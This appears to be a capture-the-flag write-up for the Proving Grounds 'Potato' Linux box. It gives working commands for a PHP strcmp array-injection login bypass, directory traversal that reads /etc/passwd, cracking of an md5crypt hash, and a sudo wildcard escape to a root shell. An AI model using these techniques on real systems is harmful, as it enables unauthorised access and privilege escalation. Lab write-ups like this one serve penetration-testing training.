# Potato Writeup - Proving Grounds

> Linux box exploiting web app for RCE via PHP, pivoting through user enumeration and sudo misconfiguration for root privilege escalation.

- **URL:** https://hackindex.io/writeups/potato
- **Platform:** Proving Grounds
- **Difficulty:** Easy
- **Operating system:** Linux
- **Machine:** https://portal.offsec.com/machine/potato-445/overview
- **Tags:** type-juggling, authentication-bypass, privilege-escalation, sudo-misconfiguration, wildcard-injection, hash-cracking
- **Authors:** [Joshua](https://hackindex.io/authors/joshua.md)
- **Read time:** 3 min read
- **Published:** 2026-02-23
- **Updated:** 2026-09-11

## Discovery

Three open TCP ports: SSH on 22, HTTP on 80, and ProFTPD on port 2112. The FTP service allows anonymous login and already lists an interesting file: `index.php.bak`.

**TCP port scan**

```bash
scan_tcp_full $TARGET_IP
# PORT     STATE SERVICE VERSION
# 22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.1
# 80/tcp   open  http    Apache httpd 2.4.41 ((Ubuntu))
# |_http-title: Potato company
# 2112/tcp open  ftp     ProFTPD
# | ftp-anon: Anonymous FTP login allowed (FTP code 230)
# | -rw-r--r--   1 ftp   ftp   901 Aug  2  2020 index.php.bak
# |_-rw-r--r--   1 ftp   ftp    54 Aug  2  2020 welcome.msg
```

## Enumeration

### FTP ,  Source Code Leak

Download everything from the FTP share anonymously:

**Download FTP files**

```bash
wget -r --user="anonymous" --password="anonymous" ftp://$TARGET_IP:2112/
# index.php.bak  saved [901]
# welcome.msg    saved [54]
```

`index.php.bak` contains the login source for the admin panel. The password comparison uses `strcmp()`:

```php
<?php
$pass= "potato"; //note Change this password regularly

if($_GET['login']==="1"){
  if (strcmp($_POST['username'], "admin") == 0  && strcmp($_POST['password'], $pass) == 0) {
    echo "Welcome! </br> Go to the <a href=\"dashboard.php\">dashboard</a>";
    setcookie('pass', $pass, time() + 365*24*3600);
  }else{
    echo "<p>Bad login/password!...</p>";
  }
  exit();
}
?>
```

`strcmp()` in PHP returns `0` (truthy-false) when comparing a string to an array ,  a classic type-juggling bypass. Passing `password[]` as an array instead of a string causes `strcmp()` to return `NULL`, which evaluates as equal to `0`.

Directory enumeration finds `/admin/` with a login form and a `/admin/logs/` directory.

### Admin Login Bypass

**Bypass strcmp login with array injection**

```bash
curl 'http://$TARGET_IP/admin/index.php?login=1' -X POST --data-raw 'username=admin&password[]=anything'
# <html><body>
# Welcome! </br> Go to the <a href="dashboard.php">dashboard</a>
```

### Directory Traversal ,  Password Disclosure

The dashboard's log viewer at `/admin/dashboard.php?page=log` POSTs a `file` parameter. It reads and displays the selected file with no path sanitisation ,  a directory traversal. Reading the live `index.php` reveals the actual current password set in the running application:

**Read index.php via directory traversal**

```bash
curl 'http://$TARGET_IP/admin/dashboard.php?page=log' \
  -X POST \
  -H 'Cookie: pass=<session_cookie>' \
  --data-raw 'file=../index.php'
# Contenu du fichier ../index.php :
# $pass= "serdesfsefhijosefjtfgyuhjiosefdfthgyjh";
```

The same traversal also reads `/etc/passwd`, which exposes a non-standard entry: **webadmin** with a `$1$` MD5crypt hash embedded directly in the passwd file.

**Read /etc/passwd**

```bash
curl 'http://$TARGET_IP/admin/dashboard.php?page=log' \
  -X POST \
  -H 'Cookie: pass=<session_cookie>' \
  --data-raw 'file=../../../../../../../../etc/passwd'
# webadmin:$1$webadmin$3sXBxGUtDGIFAcnNTNhi6/:1001:1001:webadmin,,,:/home/webadmin:/bin/bash
```

Extract the hash and crack it with hashcat mode 500 (md5crypt):

**Crack md5crypt hash**

```bash
hashcat -a 0 '$1$webadmin$3sXBxGUtDGIFAcnNTNhi6/' /usr/share/wordlists/rockyou.txt -m 500 -w 3
# $1$webadmin$3sXBxGUtDGIFAcnNTNhi6/:$WEBADMIN_PASSWORD
#
# Status: Cracked
# Hash.Mode: 500 (md5crypt)
```

## Initial Access

**SSH as webadmin**

```bash
ssh webadmin@$TARGET_IP
# webadmin@192.168.222.101's password:
# webadmin@serv:~$
```

## Privilege Escalation

Check sudo permissions:

**Check sudo permissions**

```bash
sudo -l
# User webadmin may run the following commands on serv:
#     (ALL : ALL) /bin/nice /notes/*
```

The rule allows running `/bin/nice` with any path matching `/notes/*` as root. The wildcard only validates the prefix ,  it doesn't prevent path traversal. Passing `/notes/../bin/bash` satisfies the glob match while actually executing `/bin/bash` as root:

**Escape sudo wildcard with path traversal**

```bash
sudo /bin/nice /notes/../bin/bash
# root@serv:/home/webadmin#
```

Root shell obtained.

Related

## References

- [PHP — strcmp() type juggling behaviour](https://www.php.net/manual/en/function.strcmp.php) - strcmp() returns NULL when comparing against an array — evaluates as 0 in loose comparison
- [GTFOBins — nice](https://gtfobins.github.io/gtfobins/nice/) - nice sudo abuse via argument path traversal to execute arbitrary binaries
